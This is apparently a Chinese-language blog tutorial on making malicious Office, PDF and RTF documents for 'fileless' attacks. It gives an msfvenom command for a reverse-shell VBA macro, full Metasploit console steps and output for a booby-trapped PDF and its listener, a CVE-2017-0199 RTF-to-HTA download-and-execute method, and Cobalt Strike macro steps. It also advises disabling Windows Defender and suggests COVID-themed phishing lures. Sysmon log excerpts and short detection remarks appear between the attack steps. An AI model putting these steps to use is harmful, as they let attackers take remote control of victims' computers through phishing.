无文件攻击——宏病毒制作
1. 恶意文件形式:基于宏
(1)落地形式
非PE的间接文件:A、基于宏(类型III:Offic文档、PDF文档)
在默认的情况下,Word将宏存贮在 Normal模板中,以便所有的Word文档均能使用,这一特点几乎为所有的宏病毒所利用。 如果撰写了有问题的宏,感染了通用模板(Normal.dot),那么只要一执行Word,这个受感染的通用模板便会传播到之后所编辑的文档中去,如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。 这就是我们日常所说的寄存在文档或模板的宏中的计算机宏病毒。==》处置方法:
Word环境中的宏病毒一般是存放在Microsoft Office目录下Templates子目录中的Normal.dot文件中,这时需要重新启动计算机,找到这个文件,并把它删除,再运行Word就可以了。
但是有些宏病毒“知道”用户会找到No rmal.dot并删除掉,所以会在硬盘的多个目录中放上同样的No rmal.dot,如果只删除Templates下的一个,Word会按照Windows缺省的搜索路径进行搜索,这样会加载其他有毒的Normal.dot,并把删除掉的再重新恢复这时,只要使用Windows中查找文件的方法把硬盘中所有的Normal.dot全部删除就可以了。
(2)类型介绍
许多专业安全分析人员通过长期的跟踪分析,确认无文件的攻击其实是包含各种文件的。在这种情况下,攻击者提供恶意文件通常会作为电子邮件附件,用于以下其中一种目的:
a) 恶意文件可以充当其他文件的灵活容器。例如,攻击者可以在Microsoft Office文件中嵌入JavaScript文件,并对收件人进行社会工程攻击,当受害者打开嵌入的文件时,恶意文件就开始执行所带的脚本了。另外,可以携带恶意文件的其他文件类型包括PDF和RTF。由于此功能是特定应用程序才包含的一项功能,因此杀毒软件的技术通常不会干扰这些文件的使用。
b) 恶意文件可以携带执行恶意代码的漏洞:如今的文件功能越来越复杂,不过功能多的同时所包含的攻击面也就增大,比如攻击者可以利用诸如解析漏洞之类的漏洞。在这种情况下,攻击者就可以在受损应用程序的内存中触发捆绑的shellcode,执行攻击,即使不将代码保存到文件系统,攻击者也可以在发起攻击。
c) 文件可以执行传播过程中的恶意逻辑,如今的文件都支持强大的脚本功能,例如Microsoft Office执行VBA宏的功能。这些功能允许攻击者在没有编译可执行文件的情况下实现恶意逻辑,这就是利用了许多杀毒工具在区分恶意脚本和良性脚本方面的弱点。文件脚本功能包括启动程序和下载恶意代码。
(3)实例生成
a) Word宏病毒制作
MSF生成宏病毒
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=xx.xx.xx.xx lport=4444 -f vba -o 123.vba
创建一个新word,点击菜单栏里的视图,查看宏中新建一个宏名:
注意:宏的位置选项一定要选择最后一项,即文件的本地位置 ==》不是这样的!!!选择最后一个可以,但该病毒只是在打开该word文档生效!!!而如果是选择Normal.dotm则是在打开所有的word文档(即便不是docm格式)都会运行该病毒!
复制粘贴vba文件代码:
保存为docm格式文件。就是启用宏的word文档。第一次打开的时候,我的office 365会提示启动宏,需要点击启用,后续打开不会有该提示。
注意:在windows defender里,会有提示:
、
因此,注意关闭下。
在msf上开启监听,靶机上点击生成的docm格式文件,成功反弹shell:
sysmon数据采集:
1、office进程创建:
Process Create: RuleName: - UtcTime: 2022-05-18 09:57:55.384 ProcessGuid: {d418462b-c323-6284-1b03-000000000900} ProcessId: 3948 Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE FileVersion: 16.0.15225.20092 Description: Microsoft Word Product: Microsoft Office Company: Microsoft Corporation OriginalFileName: WinWord.exe CommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\bonel\Desktop\test222.docm" /o "" CurrentDirectory: C:\Users\bonel\Desktop\ User: DESKTOP-CIBNM6P\bonel LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000} LogonId: 0xD8884 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: MD5=FB09D9ACB493256D98D7F598C1D67EE1,SHA256=AB51CD1BD1B1FE640C4E9155B02DC37CF9FD921B916B232E62FCEC0127D37098,IMPHASH=2C007D0D311D8435EC39BA6FB37F6848 ParentProcessGuid: {d418462b-b5e1-6284-8600-000000000900} ParentProcessId: 4656 ParentImage: C:\Windows\explorer.exe ParentCommandLine: C:\Windows\Explorer.EXE ParentUser: DESKTOP-CIBNM6P\bonel
可以看到进程,word文件名!!!
2、注册表设置(信任宏的,可以看到是同一个进程3948干的):
Registry value set: RuleName: Context,ProtectedModeExitOrMacrosUsed EventType: SetValue UtcTime: 2022-05-18 09:58:00.800 ProcessGuid: {d418462b-c323-6284-1b03-000000000900} ProcessId: 3948 Image: C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE TargetObject: HKU\S-1-5-21-3082954643-951221807-432565169-1001\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords\%USERPROFILE%/Desktop/test222.docm Details: Binary Data User: DESKTOP-CIBNM6P\bonel
注意:我发现只要使用了Normal.dotm,则sysmon采集的数据没有注册表set那个事件,其他事件倒是没有区别。
Normal宏设置
3、C2通信:
Network connection detected: RuleName: - UtcTime: 2022-05-18 09:58:24.408 ProcessGuid: {d418462b-c323-6284-1b03-000000000900} ProcessId: 3948 Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE User: DESKTOP-CIBNM6P\bonel Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.169.156 SourceHostname: DESKTOP-CIBNM6P SourcePort: 49958 SourcePortName: - DestinationIsIpv6: false DestinationIp: 192.168.168.96 DestinationHostname: - DestinationPort: 6666 DestinationPortName: -
4、如果远程开启shell,cmd后会有类似下面的日志:cmd的父进程是word。
Process Create: RuleName: - UtcTime: 2022-05-18 11:35:32.424 ProcessGuid: {d418462b-da04-6284-d60d-000000000900} ProcessId: 6248 Image: C:\Windows\SysWOW64\cmd.exe FileVersion: 10.0.19041.746 (WinBuild.160101.0800) Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: Cmd.Exe CommandLine: C:\Windows\SysWOW64\cmd.exe CurrentDirectory: C:\Users\bonel\Documents\ User: DESKTOP-CIBNM6P\bonel LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000} LogonId: 0xD8884 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A ParentProcessGuid: {d418462b-d9ed-6284-ce0d-000000000900} ParentProcessId: 3916 ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\bonel\Desktop\test333.docm" /o "" ParentUser: DESKTOP-CIBNM6P\bonel
当然要注意,office打开后又很多网络通信的东西,比如更新,收费广告啥的一堆乱七八糟的,所以单靠网络通信去检测异常是很难的。
综上分析,要检测可疑进程???太绕了。如果是直接写了vba这种,vba的payload提取,AV检测是更好,像微软这样!
b) PDF病毒制作
环境:
攻击机:Kali
目标操作系统:Windows 10或Windows 7 (关闭防火墙和安全软件)
目标软件:Adobe Reader 8.1.2 (8.x 9.x 是版本范围)
Adobe Reader v8.1.2 简体中文版 - Adobe - cnBeta.COM 2008年2月5日 版本非常老了!所以这个案例的实际意义并不大。。。后面msfconsole里可以看到漏洞日期是2010年
生成恶意文件:(红色为指令输入)
msf6 > search adobe_pdf
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 excellent No Adobe PDF Embedded EXE Social Engineering
1 exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 excellent No Adobe PDF Escape EXE Social Engineering (No JavaScript)
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options
Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):
Name Current Setting Required Description
---- --------------- -------- -----------
EXENAME no The Name of payload exe.
FILENAME evil.pdf no The output filename.
INFILENAME /usr/share/metasp yes The Input PDF filename.
loit-framework/da
ta/exploits/CVE-2
010-1240/template
.pdf
LAUNCH_MESSAGE To view the encry no The message to display in t
pted content plea he File: area
se tick the "Do n
ot show this mess
age again" box an
d press Open.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 172.16.54.128 yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows
Vista/7 (English) ==》这个不关键,我win10上也可以!
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > run
[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[+] Parsing Successful. Creating 'evil.pdf' file...
[+] evil.pdf stored at /root/.msf4/local/evil.pdf
开启端口监听
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LHOST 172.16.54.128
LHOST => 172.16.54.128
msf6 exploit(multi/handler) > run
打开文件后,即被getshell!
pdf打开过程中会提示,
然后提示:
这玩意已经很明显了,如果用户还点击的话,就真是他傻了。。。
好,我点击了。
看到msf上线。。。
注,pdf打开是空白的。。。
数据采集:
1、还是会在pdf里开cmd命令:
Process Create: RuleName: - UtcTime: 2022-05-18 12:20:46.123 ProcessGuid: {d418462b-e49e-6284-fa03-000000000900} ProcessId: 7624 Image: C:\Windows\SysWOW64\cmd.exe FileVersion: 10.0.19041.746 (WinBuild.160101.0800) Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: Cmd.Exe CommandLine: "C:\Windows\System32\cmd.exe" /Q /C %%HOMEDRIVE%%&cd %%HOMEPATH%%&(if exist "Desktop\template.pdf" (cd "Desktop"))&(if exist "My Documents\template.pdf" (cd "My Documents"))&(if exist "Documents\template.pdf" (cd "Documents"))&(if exist "Escritorio\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\template.pdf" (cd "Mis Documentos"))&(start template.pdf) To view the encrypted content please tick the "Do not show this message again" box and press Open. CurrentDirectory: c:\windows\system32\ User: DESKTOP-CIBNM6P\bonel LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000} LogonId: 0xD8884 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: MD5=D0FCE3AFA6AA1D58CE9FA336CC2B675B,SHA256=4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22,IMPHASH=392B4D61B1D1DADC1F06444DF258188A ParentProcessGuid: {d418462b-e421-6284-f503-000000000900} ParentProcessId: 1732 ParentImage: C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe ParentCommandLine: "C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" "C:\Users\bonel\Desktop\evil.pdf" ParentUser: DESKTOP-CIBNM6P\bonel
这个cmd的内容就很诡异。。。。
是去start template.pdf
2、start template进程:
Process Create: RuleName: - UtcTime: 2022-05-18 12:20:46.968 ProcessGuid: {d418462b-e49e-6284-fc03-000000000900} ProcessId: 3896 Image: C:\Users\bonel\Documents\template.pdf FileVersion: 2.2.14 Description: ApacheBench command line utility Product: Apache HTTP Server Company: Apache Software Foundation OriginalFileName: ab.exe CommandLine: template.pdf CurrentDirectory: c:\Users\bonel\Documents\ User: DESKTOP-CIBNM6P\bonel LogonGuid: {d418462b-b5d1-6284-8488-0d0000000000} LogonId: 0xD8884 TerminalSessionId: 1 IntegrityLevel: Medium Hashes: MD5=0F99094713055AEB2E43B8DE78E76463,SHA256=E82089BBAE0FBE8001D1DD00249E1E1468829D1A08226225FAD8093E9E4651F1,IMPHASH=481F47BBB2C9C21E108D65F52B04C448 ParentProcessGuid: {d418462b-e49e-6284-fa03-000000000900} ParentProcessId: 7624 ParentImage: C:\Windows\SysWOW64\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\template.pdf" (cd "Desktop"))&(if exist "My Documents\template.pdf" (cd "My Documents"))&(if exist "Documents\template.pdf" (cd "Documents"))&(if exist "Escritorio\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\template.pdf" (cd "Mis Documentos"))&(start template.pdf) To view the encrypted content please tick the "Do not show this message again" box and press Open. ParentUser: DESKTOP-CIBNM6P\bonel
好诡异是不是!!!
3、然后是在template进程里启动c2通信
Network connection detected: RuleName: Usermode UtcTime: 2022-05-18 10:42:06.909 ProcessGuid: {d418462b-e49e-6284-fc03-000000000900} ProcessId: 3896 Image: c:\Users\bonel\Documents\template.pdf User: DESKTOP-CIBNM6P\bonel Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.169.156 SourceHostname: DESKTOP-CIBNM6P SourcePort: 61578 SourcePortName: - DestinationIsIpv6: false DestinationIp: 192.168.168.96 DestinationHostname: - DestinationPort: 6666 DestinationPortName: -
所以这个恶意进程链检测倒是可以尝试。。。
c) RTF宏病毒制作
不法分子主要利用Office RTF漏洞传播相关后缀名为“.doc”的文件,但实际上这是一个RTF文件。因为Office的兼容性,文件可以正常打开,但在打开过程中存在漏洞。该漏洞可导致木马在不执行宏的情况下从网上下载并运行恶意程序,进而对受害者的电脑进行攻击。
漏洞利用:CVE-2017-0199
攻击载体: Microsoft Office RTF文档
受影响Office版本: Microsoft office 2016、2013、2010、2007。
利用该漏洞的攻击流程:
攻击方利用Office提供的OLE技术,将包含了恶意链接的URL Moniker(COM对象)嵌入RTF文档中,该恶意链接指向远程服务器中的恶意HTA文件。攻击方利用钓鱼邮件等方式诱使用户保存RTF文档到计算机中并打开,于是URL Moniker使winword.exe向恶意链接指向的地址发出HTTP请求,服务器返回一个带有嵌入式恶意代码的假RTF文件,并在HTTP响应头部添加键值对(Content-Type:application/hta),这使winword.exe以为这是一个HTA文件,于是通过COM对象查找处理hta文件的程序Microsoft HTA(mshta.exe),于是mshta.exe打开这个假RTF文件,自动加载并执行包含PowerShell命令的VB脚本。
样例生成:
首先,创建一个正常的word文档,作为将要链接的rtf对象,如命名为Qianli.docx
然后,将Qianli.docx重命名为Qianli.rtf
放到apache服务器上面:
并创建另一个文档,选择插入->对象->由文件创建,输入rtf文件路径后选择链接到文件。然后将该文件另存为rtf文件,此处命名为exp.rtf
此时,打开exp.rtf可以看到刚刚链接的Qianli.rtf是以一个整体的格式显示。
这时,我们在服务器端修改Qianli.rtf文件为Visual Script Script代码需要注意反斜杠的转义,这段代码将弹出本地计算器。
需要改一下Apache的配置,该代码会将该目录下的文件识别为hta脚本,然后重启服务器。
点击“是”即可弹出计算器
自动执行计算器程序:
后门准备
利用最metasploit生成meterpreter后门,放在与Qianli.rtf相同目录下。
下图,左图寻找相关payload,右图生成:
修改刚刚的Qianli.rtf,下载文件并执行:
msf监听本地4444端口,靶机运行rtf文件,即可反弹shell:
当前检测问题:
在本次word宏病毒与rtf宏病毒试验中,均在底层调用了rundll32
生成的告警也只是溯源到rundll32
并未指明是哪个宏病毒文件,无法进行进一步处理。需要在后面开发中增加该需求
CobaltStrike 生成office宏病毒进行钓鱼攻击
关于WORD宏:
在百度百科上有:
宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。如完打开word文件同时要打开某个文件的功能,必须要自己编写一段称之为宏的脚本。具体做法是在“工具”菜单“宏”-“宏”弹出的对话框输入宏名,然后按“创建”按钮会打开visual basic编辑器,你就可以编程了,这个就是宏。学会它会有很多乐趣的。玩过街机模拟器的人肯定有体会,在格斗游戏中,用模拟器来录制宏,以实现一键放绝招。
简单来说WORD宏可以让用户编写VBA脚本来灵活操作WORD,是Office软件设计者为了让人们使用软件进行工作时,避免一再重复相同的动作,而设计出来的一种工具。
宏病毒使用攻击场景:
宏病毒是一种常见的计算机病毒,寄存在文档或模板中,并不会直接感染可执行程序。但是打开携带宏病毒的文档,其中的命令就会被执行,导致文档所在电脑主机被感染。
攻击者编写存在WORD宏病毒的WORD文件 -> 利用社会工程学投递WORD并令对方打开点击启用宏 -> 目标上线
关于如何投递宏文件让目标点击,此涉及到社会工程学。如结合一些时事来进行定向钓鱼攻击,比如结合新冠疫情,健康信息等内容的二次交互,导致目标启用宏感染。
CS生成宏病毒
1. 设置监听器
2. 生成宏代码
点击如下
会弹出一个框,详细的列出了如何使用宏的步骤,点击复制宏代码
(1)打开一个空的word或者Excel,在菜单栏选择视图-→>宏→查看宏,
(2)在"宏名"中输入一个名字(任意名字都可以),宏的位置选择最后一个,即当前文档。再点击创建
(3)点击创建后,会打开一个会打开visual basic编辑器。清空编辑器内容,再将cs中复制的宏代码粘贴过去
(4)保存宏文档
点击左上角的保存,然后保存格式设置为启用宏的word文档。一个Word宏病毒文件就做好了。
4. 运行宏文档
将宏文档发给受害者,受害者将其打开。(使用快捷键Alt+F11可以打开vb编辑器,查看宏代码。)若点击了启用内容
主机将上线
查看任务管理器,可以发现恶意进程